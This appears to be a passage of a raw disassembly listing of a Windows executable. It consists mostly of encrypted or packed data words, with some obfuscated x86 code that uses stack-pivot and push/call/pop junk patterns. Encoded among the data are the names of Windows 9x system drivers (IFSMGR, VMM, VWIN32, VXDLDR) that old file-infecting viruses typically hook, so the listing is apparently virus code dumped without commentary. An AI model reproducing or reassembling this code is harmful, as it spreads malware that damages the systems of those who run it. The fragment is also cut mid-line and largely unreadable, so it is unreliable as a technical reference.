4D12BCE9h, 17458BD5h dd 8ECE3460h, 64F45E9h, 0AF4D586Bh, 1FB7E220h, 12FDCEh dd 7027A900h, 0E499DE24h, 54094AB0h, 0DA77FA00h, 5506748Eh dd 5C26A701h, 0D3297D1Eh, 56ACF89Bh, 0DF257126h, 5AFFB96h dd 0F54F2597h, 2EA21D43h, 421B6E87h, 0AE1C861Ch, 175666D6h dd 6812B129h, 12BC795Bh, 0CA6F2EC7h, 1B36E569h, 1E5D1E53h dd 0D3BFD37Fh, 0CD930B70h, 7729CC03h, 80B2C99Eh, 2380CAF8h dd 0AF4E817Bh, 75C75D03h, 116BEA7Fh, 0EA9369DBh, 7EE6116Bh dd 34329109h, 0B6BC10C1h, 281CAE41h, 9B116BEAh, 0C9C36F03h dd 0D078D48Bh, 1F4F6E9Eh, 0F36433A1h, 0BA51642h, 24FED3DCh dd 0A2896DE2h, 0A500090Ah, 0AC4D8Ch, 0C06C006Ch, 0CCAF779Eh dd 0B7C1C71Eh, 0DF996E14h, 6391116Bh, 0D71A10BCh, 703E963Ah dd 0ADF7D104h, 46F7783Fh, 0E355BC12h, 0D5AF1D3Ah, 28116BD3h dd 37B69DB0h, 6B084E44h, 0D489CEC8h, 6BE82678h, 0A90A66CAh dd 0DE805DACh, 0C306AD44h, 0F7F60BD5h, 8C211BA9h, 0C94116Bh dd 0C62D5AFh, 4DD50CD1h, 0F998DD13h, 731E57ADh, 0FAC3D6DFh dd 8B4E16A4h, 0B92106E3h, 0F5A429E7h, 67125BA1h, 0EEB7C2CBh dd 2B02AB0h, 590892Ah, 0C80F059Dh, 76D5B915h, 0F68CDF0Ch dd 794AD200h, 0F3E6EC78h, 0AFF5248Ch, 7F000011h, 0E81246F9h dd 18E2B667h, 946E3ADBh, 1AE0B465h, 0C96F3BD8h, 1BB83A48h dd 9241B54Fh, 1FC03CC6h, 9D3CB14Bh, 43F163C9h, 1D43F769h dd 39F950DCh, 0A4A21DD0h, 943700ABh, 56C00DEEh, 5EDF1D17h dd 3D567B18h, 0ED498C38h, 0E0194D21h, 784CFE99h, 91175714h dd 9D61395Ah, 0CA522560h, 9A4AF8A6h, 4412BCA1h, 0C490F5ADh dd 237D7F6Dh, 69CC9B91h, 0D576EE11h, 0BEB604AEh, 181169CBh dd 69CBD2AAh, 0CABD2511h, 0CBDAD260h, 0B52D1169h, 71EBB5D9h dd 7FFC3DBFh, 1711B2DEh, 866F31E4h, 9123D149h, 11696F9Bh dd 2B5B76EEh, 1840E3DCh, 5552341h, 36A1358Eh, 0F8000001h dd 500C286Eh, 0F7727994h, 0D9B072D9h, 0B4D84932h, 8B3971D8h dd 175666B4h, 393B9232h, 43B72954h, 0E54C256Eh, 0F739BA03h dd 7A7A9385h, 80476A4Dh, 8F2C40ECh, 5AC858Ah, 4523D8BDh dd 0B1370E05h, 28h, 4C256EE8h, 0B48B39E5h, 7175666h, 0D039369Fh dd 964520FCh, 95C7641Dh, 29EE6DF8h, 3198F4ABh, 43B6DDA0h dd 0EF000000h, 0E54C256Eh, 66B48B39h, 0E02E1756h, 6CC071h dd 134DEDA3h, 67413B89h, 2CB41756h, 54392A8Fh, 0D782F739h dd 5EFD9CDDh, 0D37A1B58h, 78E42AA0h, 676D47F5h, 58C01756h dd 24651934h, 0FC2EDC6Ch, 4523FA5Fh, 0B1370E05h, 47h, 48216EE8h dd 39A339E1h, 5666B18Bh, 0EA9C0417h, 17566712h, 0C5EFD65h dd 5666C9BEh, 0DA43C17h, 8B39A339h, 175666B1h, 9A3F9C04h dd 0E24BEA6Dh, 0F739DDA0h, 0AE73D083h, 2Ah, 0D489CE00h dd 52FF7278h, 6E389D3Eh, 39E14821h, 5666B48Bh, 3B923217h dd 0A3395439h, 56671B11h, 55F66E17h, 0D0791C53h, 0A339DDA0h dd 56671B11h, 55F66E17h, 0FFFEC888h, 6AE826FFh, 0AA0965C9h dd 421B6E0Fh, 81D6F51Ch, 85A84D82h, 0BCB61224h, 5935993Ah dd 911AA8FAh, 0E412BC32h, 51B8227Ch, 0E56861E1h, 0A8AE0DD6h dd 0F44625h, 73116868h, 2AD387EBh, 0EE5C02EBh, 11686816h dd 2B5DF169h, 11686853h, 6875E7A9h, 2E203EA0h, 32ECh, 1F11B500h dd 0EF175667h, 199FCB66h, 17566726h, 95CB92E7h, 0D4CEE60Fh dd 26F0629Fh, 56CEA094h, 0E78B1317h, 0D7553E44h, 0F06812BCh dd 0D185A4h, 6EDC0000h, 0D21C421Bh, 0BA579AA1h, 1C167A16h dd 0C89A39DAh, 921BB52h, 20E288A8h, 0FA7AF983h, 55CD12BCh dd 0E097C50Bh, 0A3D41AB4h, 26545EF2h, 0BCBA1975h, 3A339F40h dd 0D24816EFh, 493FE01Ch, 116CF873h, 0AFFD5EC6h, 0D278A21Dh dd 0D38D150Ch, 7701FB49h, 0EC740B7Fh, 65C673E6h, 0C47BF937h dd 35EA6A90h, 170826Bh, 0F458FD7Eh, 5A0BB598h, 9F3EBDB7h dd 5CFC5F33h, 27794455h, 1AB665E9h, 5EFF7C76h, 6F3D9EF2h dd 0E57580DDh, 49178F06h, 0F7A34E87h, 1A29C80Dh, 0EDFAF32Bh dd 9FA071D9h, 4F00000Eh, 0F8025609h, 6892C677h, 0E41E4AEBh dd 6A90C475h, 0B91F4BE8h, 6B084A38h, 0E291C53Fh, 6F104CB6h dd 0ED8CC13Bh, 338113B9h, 1D43FA39h, 6DA9008Ch, 0BBE549E8h dd 12F6AB52h, 61C2433Ah, 0EF43EE67h, 0DCDB0947h, 2ACF899h dd 4FEC8DCCh, 0EB27107h, 1C589634h, 18BBD77Bh, 3D41h, 1B6E1800h dd 1C861C42h, 0BC50CDF5h, 275193B9h, 1757314Dh, 0E19B38A0h dd 12BD464Ah, 309A53Dh, 817B2FCAh, 801AD4Ch, 0C87A2401h dd 0CD2F26Bh, 0D61846DEh, 75F8F29Fh, 0A70468C4h, 0EA6DA6FFh dd 94DB154Bh, 0B467EBE1h, 42B54F17h, 0B3893BA1h, 6175666h dd 6714E89Eh, 0FF671756h, 70493F93h, 0A2175667h, 1DD38D32h dd 0C69E3DDCh, 4D13EA3Fh, 678F65D7h, 48E21756h, 566702FAh dd 81ED7517h, 45C27022h, 0F812BBE8h, 83F03E60h, 0C12886D2h dd 7122B887h, 6558587Eh, 96539DB0h, 23399C3Fh, 358E0555h dd 15EA1h, 0F739F800h, 7471D285h, 39F25B32h, 5666B48Bh dd 3B923217h, 0B7295439h, 45FA7AB4h, 832685E9h, 0A42A256Eh dd 5B375BF7h, 6EBA03F2h, 0BDE14821h, 54523D8h, 3FB1370Eh dd 0E8000000h, 124C256Eh, 0D04679FBh, 60C3F147h, 0B48B39C5h dd 7175666h, 5439369Fh, 0DD80F739h, 0B8BE1D71h, 0A0339A3Bh dd 1E0EC32Ah, 0B19C41B6h, 76D5152Dh, 82F739D3h, 0B4177BD7h dd 3D69h, 256E3000h, 10BA82Ah, 0E74E22D1h, 2084D039h, 0D82632CDh dd 29B3297Bh, 56A5A19Bh, 2F8C1417h, 56A66255h, 0E940E017h dd 0F7395439h, 107CD083h, 9746B5B3h, 85F7393Eh, 0B1127ED2h dd 4523077Ah, 0B1370E05h, 54h, 11A339E8h, 1756671Bh, 5055F66Eh dd 0B6513B4Fh, 7C6AD4B8h, 8B39B910h, 175666B4h, 0AA6DE02Eh dd 45E68A27h, 390FA63Eh, 4BEA6D54h, 6FD039E2h, 0BDFAEAE9h dd 6FE4C12h, 79175703h, 0F48942E1h, 0D083F739h, 40AE73h dd 0E9000000h, 0BFE01B09h, 5DF85B3Fh, 0E148216Eh, 80FCD039h dd 183F945h, 6D42F0A2h, 0F5175741h, 0A339FC55h, 0B7781E4Ah dd 0E7ED6B5Dh, 0C762C174h, 0E24BEA6Dh, 0D285F739h, 0AEF72FFFh dd 77D49D44h, 0F739C1BCh, 5D57E582h, 0D0175667h, 0E4882448h dd 0FE999A47h, 6EC3FFFFh, 0AE1C421Bh, 12BBE745h, 0E47E20B8h dd 0A90AA72Ah, 0DF8B26AFh, 6190DF26h, 3082DCB0h, 1168E53Ch dd 0E5BB178Fh, 0E4F7CD7Fh, 0D24A1168h, 0E5330B71h, 0C7891168h dd 5F9C5295h, 0E5463E8Ch, 21B91168h, 0D2A6EE4Dh, 222E20BAh dd 2Ch, 0D0A4168Ch, 231168DCh, 97FB9ADDh, 0A3399134h, 56671B11h dd 55F66E17h, 5667592Fh, 64B8517h, 87CEC86Bh, 0BD9FBEEAh dd 0C6000000h, 1C421B6Eh, 0BC6A2DAEh, 658C012h, 0BFEB8CC8h dd 0CC601745h, 9CA8B4C5h, 0C8637560h, 0F7552F9Dh, 30A8116Bh dd 0F46E305Ch, 6D1BB83Ah, 116BF797h, 9E2C72EAh, 116BF6A6h dd 70228119h, 0D17761C2h, 124CD40Ch, 85046188h, 5E9EBCEFh dd 0C679FBFDh, 4BEC6892h, 0C29BEEE7h, 0B5EF2E9Ch, 861E06E4h dd 73DF16D8h, 67941EC8h, 4C59BB6h, 0FF5A1CDh, 23FD6AC6h dd 5D5BAD54h, 0B673CB70h, 167AA3D2h, 0FB2B5825h, 9544ECEDh dd 0B36h, 99CD72E6h, 1D49EC63h, 95C174E7h, 1B4FEA6Fh, 96C271E1h dd 8DCDB130h, 0E40BAEEh, 91C3396Dh, 0D40BAEEh, 92386Ch dd 43FCBAB2h, 28810D1Dh, 0E549E86Dh, 2FAD66EFh, 0E048E488h dd 0F4793EAEh, 0A408AB23h, 44F0A4C8h, 340E3DB4h, 6DC0h dd 0D0399900h, 6C74B3CDh, 3A3F9C1Eh, 0D24816EFh, 4F75443Bh dd 0F655E085h, 0BC912F8Ch, 8942AB12h, 0EC83108Eh, 8E572C8Fh dd 920C5CADh, 6FE4C5Fh, 79116B69h, 4DE18DE1h, 37630E47h dd 45E988CDh, 3E603D4Ch, 81704DA4h, 96951EDBh, 701CB065h dd 46C5BF1Ch, 0D00CD236h, 2304F84Ah, 0EF770B82h, 0FBAF374Ch dd 6907BC55h, 0C9B3218Ah, 0EA6DCF6Ah, 9A991F4Bh, 90175666h dd 49E7B364h, 0CA05387h, 0CE82E321h, 0CBA7D657h, 411C6D68h dd 0EF27AD1Fh, 3DA12BAh, 0C757D84Ch, 55B37D8h, 7E1D519Fh dd 1B1DBED2h, 287125D8h, 8E055523h, 11CA135h, 0C10F0000h dd 454FE392h, 0AE0D6110h, 4D286E0Bh, 0B48B39E4h, 32175666h dd 54393B92h, 3943B729h, 6950E0D0h, 3390617Ah, 0AD04ED36h dd 216EBA03h, 0D8BDE148h, 0E054523h, 34B137h, 0D11F0000h dd 7973C1A2h, 0CC145667h, 0F8943854h, 256EFE5Bh, 8B39E54Ch dd 175666B4h, 39369F07h, 4FEE6D54h, 0B6DDA0E6h, 4Ch, 2264F118h dd 0E5A3D5EFh, 256EE346h, 0A339E54Ch, 66B18B39h, 0AE041756h dd 5667281Ch, 6F039B17h, 66C1B6CCh, 0A1011756h, 6DA33908h dd 4DE84BEAh, 114FEE6Dh, 6743398Bh, 2EB61756h, 0A905B624h dd 39C366C5h, 70DC7FF7h, 974BF1Ch, 0E054523h, 3CB137h dd 6EE80000h, 0D8164821h, 0E045E697h, 66B48B39h, 9F071756h dd 6DA33936h, 41070CECh, 82B2EAAAh, 8D2E42EEh, 4BEA6D28h dd 11A339E2h, 1756671Bh, 7EFCF66Eh, 0C8B57EDDh, 1FB6h dd 216EEF00h, 0CFFF1648h, 1BC74E50h, 3911B417h, 5666B48Bh dd 3B923217h, 0EA6D5439h, 0DDA0E24Bh, 0FFFEDBB6h, 1B6EEFFFh dd 0EC62B524h, 0E38F234Fh, 854BD18Fh, 0DDD7A150h, 50175666h dd 8B396BC8h, 12BBE720h, 9B550B93h, 10F9A752h, 0FA44F17Dh dd 0FDA50615h, 4A140104h, 0FF9A4A3h, 2E03AF6Bh, 0A32CA6CDh dd 0BEEC4F65h, 470BE24h, 634F2553h, 3AA21169h, 6309E399h dd 0E47C1169h, 63483E48h, 0F2BC1169h, 398D7B82h, 35F92E21h dd 0A0000000h, 56671F11h, 0F966EF17h, 5667714Bh, 655FED17h dd 0D8175667h, 2F9D3740h, 17566755h, 305C30A8h, 6E46F46Eh dd 0C1175667h, 761ABD3Fh, 0B1AC8DD5h, 0F5000000h, 1C421B6Eh dd 0BC6815AEh, 0F042E812h, 116C64FCh, 0E5BBD74Fh, 0A2F6A92Bh dd 0D77B1C58h, 0ACF2CBDEh, 0D1E5991Eh, 6D35EC0Ch, 257C5CFCh dd 0A9C57AFAh, 2F832EA3h, 0BF712F43h, 0DC7DFC3Dh, 24701C70h dd 55F99EDEh, 8491C50Bh, 670BA758h, 68CBA70Bh, 1F411C6Dh dd 0DA3D3785h, 69B00B7Eh, 78D97A72h, 5DFE9282h, 9F60BD0Fh dd 0F76F06E4h, 43EE67A9h, 0C968ED17h, 0FBC917FAh, 54852DEDh dd 7FAh, 257126AAh, 0B1E598DFh, 155084Bh, 8FDB76FBh, 2560575h dd 195925A4h, 0A2D42E7Ah, 1D5FA5F1h, 0A1D42E7Ah, 9C0EA4F0h dd 4400562Eh, 8C25A91Dh, 0E549E86Dh, 67CB66EFh, 0BA08E86Dh dd 24191706h, 2B218DE1h, 0F258F4A7h, 0B91144B0h, 0BF3685F7h dd 4F824C12h, 68620EA2h, 0B2EA49EAh, 0EAD7206h dd 5A8234h, 0C52C0000h, 7AD41C45h, 80258617h, 0B6241B6Eh dd 2549EC63h, 178D1749h, 5666CFA5h, 0C3B90B17h, 36175666h dd 6C41D9AEh, 73BA11D7h, 0C2B81B1Dh, 12BCB891h, 887CCE64h dd 0FB116C96h, 0D5A30F63h, 116C95E3h, 8CCD035Dh, 64B41EDh dd 0E6A4076Bh, 68996F76h, 35E52E24h, 0BC000000h, 1C421B6Eh dd 0BC4DC1AEh, 0AC3412h, 4816C30Ah, 0BA75486h, 669CC467h dd 0E7EE42EFh, 2795CB92h, 0CD23D8Ch, 0B95A9856h, 0A1DA7915h dd 0DC36D39h, 2F8A29C8h, 0D7222924h, 49E2500Eh, 3C12BC7Dh dd 91C47EA4h, 89D13612h, 9F76FA13h, 0CC7F4ADFh, 0F5DCC2BAh dd 0A7AD3550h, 402C8033h, 0CA93E6E3h, 0F28D2694h, 0F8604C5Bh dd 714C5D54h, 0AB7CC62Fh, 11A69BCDh, 0F19D31E0h, 0DE6C3E9Dh dd 46725D41h, 18EC5EF4h, 6B45222Ah, 0FC19FF3h, 0EB872BC6h dd 69801A48h, 0A1FD9616h, 0CCCA6984h, 0CC478E89h, 8B81ED8Eh dd 503C9043h, 8C6683Ch, 0D6BA16C7h, 5FFA7375h, 6B46AB6Ch dd 0C819B1AEh, 67Ah, 0A5F1A62Ah, 3165185Fh, 81D588CBh dd 0F5BF67Bh, 82D685F5h, 99D9A524h, 2254AEFAh, 9DDF2571h dd 2154AEFAh, 1C8E2470h, 4401D6AEh, 0CA5291Dh, 0C97BE86Dh dd 175666F3h, 1EB2DE46h, 6236E714h, 22CF02CCh, 4441E28Eh dd 14E85A35h, 1A175667h, 0CA5225DAh, 0AC62F8A6h, 4F238F30h dd 0E71196ECh, 0FC6412BBh, 4AEB6CA2h, 0CE621340h, 0FFA101A2h dd 0E4DDD765h, 0C8501168h, 41ED92C2h, 4B888E2Dh, 41ED8ECCh dd 0CAF272Dh, 838C5360h, 50F8E224h, 5E581h, 983FB100h dd 1CC136CCh, 9C41B248h, 12BF32C8h, 9D3EBC46h, 94EE6FC9h dd 1BE1B566h, 8E7420D3h, 7FDA94Eh, 0DD7723CEh, 207FD4Fh dd 0F67A1D44h, 7EF7395Fh, 19137FD3h, 0E68A26D5h, 6C394045h dd 0E7238032h, 25BF12BBh, 68E49D97h, 2B881011h, 6E64C850h dd 0BE7B48EDh, 0CAE22483h, 584B362h, 20500000h, 9ED12B7Fh dd 2251ABFFh, 9CDD2773h, 1F53A9FDh, 0F8E287Ch, 4500377h dd 8FDB78FEh, 4500775h, 8EDA77FEh, 3004B624h, 831D4403h dd 1B6EA60Fh, 6F861C42h, 5F0F48ACh, 0E69C3FEEh, 12BC0E89h dd 0C2C864FCh, 986CDE91h, 0EB11690Ch, 0BF9F341h, 0D44C1169h dd 44E7D4B8h, 58E2245Ch, 52021F0h, 8CCC0000h, 1245BFEBh dd 8ECD3763h, 1041BBEFh, 8BCF3561h, 9B1ABCE8h, 0E0B467EBh dd 7327D41Ah, 0C0944B89h, 5206B33Ah, 0E4D86AF8h, 571D4402h dd 0E86D72DBh, 66EFE549h, 0C87C95CBh, 0C2F641BCh, 101FBF1Ch dd 28ADEA1Ah, 0FF4DD789h, 17570205h, 65EAE078h, 0D3701CB0h dd 1CFC718Bh, 5F82FFCFh, 0E74B27BBh, 57599E91h, 0C40A4017h dd 0B5A1A797h, 0C0EE2808h, 8C31A6ACh, 0ADEF4C20h, 71E22C3Fh dd 0AF0C60CCh, 217524A9h, 0AAF4D1D8h, 0BBF7A718h, 0DC821A12h dd 1658DB12h, 0C9A5C965h, 71EE679Dh, 68F5E9C3h, 0CB32111h dd 0A057857Bh, 520CA0CCh, 36DCBEBBh, 893A17C4h, 0E7E24115h dd 2795CB92h, 0CCE347Dh, 9EAFB059h, 0F7C75F2Ah, 0E9B72F54h dd 5703AE27h, 258928ADh, 5E00DD2Ch, 0E167BFECh, 0B3019B06h dd 59156B9h, 2014A60Ch, 93059157h, 0EA6D670Bh, 0B93E84Bh dd 0FC118738h, 0C415BDEDh, 41Eh, 81D58ACEh, 1541F47Bh dd 9DC96CEFh, 1347F267h, 9ECA69E9h, 95C5B938h, 648B2E6h dd 79FB0155h, 0E56892C6h, 58CA6034h, 440412EAh, 40E9651Dh dd 0E549E86Dh, 9FCB66EFh, 144A1366h, 0BC7579A6h, 78D44C12h dd 6C533A0Eh, 9CC88611h, 2429A751h, 3AD72Eh, 398E0000h dd 657C07D0h, 0AA6E43F2h, 0E4E1429Fh, 2496C895h, 12BD1B2Fh dd 5B425EBh, 0B5E8C5A9h, 217A1CF4h, 56CEB516h, 0BEBC8CFAh dd 4A04116Ch, 9125D31Ah, 0EB512E24h, 8000000h, 1749E86Dh dd 67453F8Dh, 20B81756h, 0A9292383h, 62F8A60Ah, 5666DCD0h dd 0C0B40617h, 33175666h, 0AD22DCABh, 0A4C8A408h, 2DCC0107h dd 97428B81h, 63B445C3h, 43AA1756h, 0E686243Fh, 0D3D57636h dd 51ABFF9Ah, 0D8D17D1Ch, 30AAF4D1h, 73DF7CFEh, 0D6BF321Fh dd 9A94F206h, 27C44339h, 897712BCh, 563A9645h, 0D67A1B5Ch dd 6188D6BAh, 151C69B5h, 0AC4F83C0h, 0A3006C00h, 569B55FBh dd 0C1D18BBh, 0FDD6F31h, 0E20CD0AFh, 68EA247Ah, 7E714BF9h dd 5CC40B7Fh, 0DF732056h, 718BDFB3h, 0E2615201h, 0F2E80DEAh dd 2E48B5Ah, 40B00000h, 0BE31CB9Fh, 42B14B1Fh, 0BC3DC793h dd 3FB3491Dh, 0EF6EC89Ch, 0E4B06397h, 6F3BD81Eh, 0E4B06795h dd 6E3AD71Eh, 10E456C4h, 631D4405h, 0ED6D46EFh, 6DE01A4Eh dd 1F5C92CCh, 1DBED27Eh, 1B6E1C45h, 0B5AE1C42h, 6112BC48h dd 0AB82DAFh, 116C3832h, 0DD711D85h, 8639BBB1h, 9EE5462Ah dd 7C38AD47h, 680435F4h, 0A2739AC4h, 0E0D466AAh, 53116C33h dd 277DE6CBh, 64542E8Dh, 0AA116B81h, 2C268A27h, 0ACA30FB0h dd 7B0736A6h, 0CABEC735h, 3A2E2352h, 0B7h, 49E86D63h, 775BBE5h dd 3390FC50h, 0BA16C535h, 0F5AA2AE4h, 0EC963559h, 1756635Dh dd 297D1C51h, 3CD9AD3h, 63592FCAh, 0D6175663h, 878E224Eh dd 512B9972h, 0A4175663h, 940E503Ch, 56634E26h, 423A8817h dd 0B5175663h, 61C25A2Dh, 5E068133h, 21B912BCh, 0C67D8C75h dd 89C1EC91h, 13D1084h, 45F7A9C5h, 0CD01436h, 0C10F51C9h dd 4CB6E291h, 0C15E6D0Eh, 0C7E80E85h, 1D0BE6Fh, 5C9C0000h dd 0E215EFBBh, 5E9D6733h, 0E011EBBFh, 5B9F6531h, 0CB4AECB8h dd 0D08437BBh, 0A3F7A42Ah, 30641B59h, 82D683CAh, 3408BA28h dd 871D4406h, 0ED6DA20Bh, 6DE01A4Eh, 6DC198CCh, 0EFE549E8h dd 5B95CB66h, 0BE15314h, 7E175667h, 4A268AE6h, 4148B1E9h dd 86F43A64h, 0B61579D5h, 740556E4h, 21F812BCh, 0B1DF54F4h dd 993559CCh, 6BD419EFh, 0BB296711h, 23A9C6B2h, 3F362Eh dd 6E6F0000h, 6B7241Bh, 60AE346Ah, 81ED41F2h, 6F735822h dd 5F8612BCh, 4E9DCF3Ah, 8C204C7Eh, 3EDF1CD2h, 5311E79Dh dd 316F116Ch, 0A1FB28D8h, 892A4D80h, 0BC4C99CBh, 0C82E233Dh dd 18h, 671E1191h, 9AEF1756h, 0C9079DC3h, 304AE988h, 12BC7493h dd 0B3EABE26h, 1B11A339h, 6E175667h, 495055F6h, 4F90227Ch dd 2212BC64h, 0A14816BAh, 802D70C6h, 0F3892A18h, 116BB7FDh dd 872BCA0Dh, 7AB4A8Dh, 0A3D20208h, 6391DFh, 488E8DCEh dd 616BC7ABh, 81224EEDh, 238E3FC9h, 458A442Eh, 0BAD683F6h dd 80D97A16h, 1Ch, 671F11D9h, 52BB1756h, 0F3B9D210h, 393C9F1Eh dd 0F94B15F0h, 12BCB55Ah, 782175EDh, 1C421B6Eh, 0BBE4F1AEh dd 309C0412h, 8D2EA06Eh, 0E8EE4D21h, 24EAB465h, 0C2AE02B3h dd 7AD687C8h, 17EDB516h, 0E99F33DEh, 24C77DB8h, 2A8633BAh dd 0AC00B120h, 4B6C40F2h, 47DFD386h, 1A3BA917h, 0AEED1F15h dd 24DE8A27h, 0F2AC00B1h, 0B6E01F1Bh, 0A102857Ah, 2B8732A7h dd 97C57Bh, 0E8722CCDh, 8644625Ah, 0EE4DD5D3h, 68094CB6h dd 1C15C4h, 52BB0000h, 0B5251FBBh, 4D742B06h, 0FAF2401Eh dd 4DD385F2h, 39D376D5h, 7FDC7FF7h, 0EB6DB11Ch, 5B929834h dd 0DC1812BEh, 599D973Bh, 0DE1C16BAh, 579B913Dh, 0CF0208A4h dd 57848E22h, 0CF000AA6h, 68E9822Eh, 15ABh, 53241489h dd 0C381E389h, 4, 4EB81h, 1C870000h, 4895C24h, 7D4D6824h dd 0C890000h, 4BD5524h, 8905ED83h, 242C8BE8h, 4C481h, 8B540000h dd 0C483240Ch, 4EC8104h dd 89000000h, 418F2404h, 240C8B08h, 81E18951h, 4C1h, 4C18100h dd 87000000h, 8B5C240Ch db 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_5488E2 ; --------------------------------------------------------------------------- dw 503Eh dd 31F31BD1h, 5A34C476h, 0A1E6B88Bh, 0C50305EDh, 0DDFAE0FFh dd 33D45BB9h, 0D3E643DFh, 361D2B13h, 0F3837D1Fh, 45A71CFCh dd 1CF6256h, 10E816C0h, 0F8000000h, 62702DF7h, 0C649E80Ch dd 3E0FA26Dh, 607F69E7h, 10E9FA8Ah, 21000000h, 6204C7B7h dd 0E5CF89D8h, 0EF04329Fh, 611BE13Ah, 81CF8B5Bh, 6CA3C3h dd 7BE4BE00h, 0F681228Fh, 228F6110h, 0FDD7F8B8h, 0E8138B72h dd 12h, 0FDE2CA1Eh, 0CEB1289Eh, 0E64FB2CAh, 0C10376D6h dd 8C0F6F8Dh, 5, 0FAE98166h, 0EA815F64h, 53F8D05Fh, 810F56h dd 5F000000h, 0B640C281h, 8D0F112Fh, 7, 18A0Fh, 81F90000h dd 7B2AD3F2h, 8D0F6064h, 2, 0EE9C68Bh, 8B000000h, 0C345F106h dd 74AF2D24h, 0CA4EFE3Eh, 0E9526132h, 10h, 745EF6EDh, 236FBA1Fh dd 7F6E414h, 4A5C3506h, 0B70F038Fh, 1EB83CFh, 4B4BFE8Bh dd 850F4E4Bh, 0FFFFFF6Dh, 34EBC3B4h, 4D534649h, 20205247h dd 20444B56h, 20202020h, 204D4D56h, 20202020h, 4E495756h dd 20203233h, 4C445856h, 20205244h, 3 dup(0) dd 753E9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1D04h, 0C3514100h, 6C661343h, 857680CBh, 880F14EBh dd 8, 8DDB8060h, 6132C580h, 0F8F560F8h, 0A39785C7h, 5EDh dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h dd 50400000h, 8BF716C3h, 91FE2BC4h, 8B3CC1B0h, 1820FC6h dd 0F5000000h, 0FD8B70Fh, 180h, 0E8C1F900h, 50006A10h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h dd 0A04096D0h, 8E86080h, 0EC000000h, 0C6106ED0h, 0E994DAB6h dd 0Eh, 5FDF793Eh, 664D96D7h, 79CB1376h, 0E85F23A2h, 6 dd 0B111A38Ch, 8B667115h, 66615BC6h, 0F908C8C1h, 98C0Fh dd 0F9600000h, 0D954C381h, 89612538h, 0EDA39B85h, 0D68B6005h dd 0CE9h, 0DD951A00h, 7DCE7Ah, 0F55A66D9h, 890F6132h, 1 dd 0CBC166F9h, 0FB83F508h, 41850F40h, 0F5000000h, 0A36FBD8Dh dd 6A05EDh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h dd 52420000h, 0D0E9F2C3h, 0E9000001h, 14h, 0DA344498h dd 8DC89CBAh, 0FDE634F0h, 6C48EE7Ah, 0E298AD65h, 0F0DFB83h dd 4F85h, 8B666000h, 0EB860D6h, 8B189C73h, 0FC6161CFh dd 0A377BD8Dh, 810F05EDh, 10h, 0BE9h, 965AC100h, 20CA240Ah dd 6F7E1F98h, 17EE9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1604h, 0C3514100h, 0F5141801h, 0F01FB83h dd 4485h, 0BE900h, 724E0000h, 0E4044E4h, 0CA73D45Dh, 7FBD8D25h dd 0E905EDA3h, 0Ch, 0ABFF9107h, 6DE5AB9h, 0B10A45AEh, 129E9F5h dd 0E9600000h, 0Eh, 90989B62h, 8FE5BFB3h, 7C6732E8h, 0CA8B6913h dd 2AFB8361h, 0B5850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 180424h, 50400000h, 0CE2A44C3h, 6060012Dh dd 0E681D68Bh, 6CE9FB70h, 12E961h, 0EDF90000h, 0FA95B9BCh dd 44483605h, 0B6BA3464h, 2E5AE966h, 0D820F61h, 60000000h dd 0B8F769BAh, 8B0F6Fh, 61000000h, 0A387BD8Dh, 6A05EDh dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h dd 6E998C3h, 9A000000h, 0D8C3991Eh, 78E0F40h, 0F000000h dd 18Ch, 74E9F500h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 17042444h, 47000000h, 3B16C357h, 83F541CBh dd 850F27FBh, 335h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ah, 2DC35646h, 0E1925DBh, 60FCD854h, 61D3BF0Fh dd 0A38FBD8Dh, 0F6005EDh, 13E9DFBFh, 29000000h, 7B9010C8h dd 2ADFDE85h, 0D88BBBD7h, 9E7133B8h, 8961EEF4h, 0EDA39FBDh dd 0C870F05h, 0E9000000h, 7, 29F714E4h, 6683EE37h, 9E9C88Ch dd 0BE000000h, 693DB07Dh, 9617D535h, 6A0324h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 170424h, 53430000h, 0EDD437C3h dd 11E9A9h, 0FF140000h, 56C999F4h, 31297950h, 0EC37E7ACh dd 0A88E994h, 0E2850FC0h, 0F000001h, 128Ah, 0DE900h, 0ACF30000h dd 0FB799249h, 0FD60C4E2h, 8DCCE004h, 0EDA9FEB5h, 10E905h dd 2FE40000h, 1D438B54h, 0B3AA3A1Eh, 0BED8E139h, 5E91DC9h dd 93000000h, 0DBECCC03h, 0AAB2858Bh, 6A05EDh, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h dd 49DB91C3h, 60734AE7h, 604ECA92h, 45D7BAFCh, 6061656Ah dd 68EA8166h, 0D88166F4h, 50618EFFh, 15870Fh, 60600000h dd 0BE861h, 5B6C0000h, 0C7178C55h, 33C13124h, 896158C8h dd 8F0F2414h, 11h, 0B830Fh, 6E90000h, 12000000h, 3FC3E662h dd 0E8D0FA7h, 0E9000000h, 9, 0F8367551h, 568B19C8h, 4C010F72h dd 6AFE24h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h dd 57470000h, 52FAF0C3h, 0C1A5CA5h, 0E9759E00h, 10h, 9FE42BFAh dd 0E4D0C23Bh, 0AA2B60A2h, 0E781757Ah, 1800F5Ah, 0F8000000h dd 6A24C283h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 19042444h, 45000000h, 0F925C355h, 8B7871A5h, 0FC728966h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 78C35545h dd 661B1E0Ch, 6A10CEC1h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 0A7B3C356h, 0E01BD07Fh dd 0F6CEBBDh, 18Ah, 8966F800h, 6A0272h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 170424h, 53430000h, 26E52C3h dd 4CDF990h, 0BFE9FCh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 140424h, 56460000h, 12E9D9C3h, 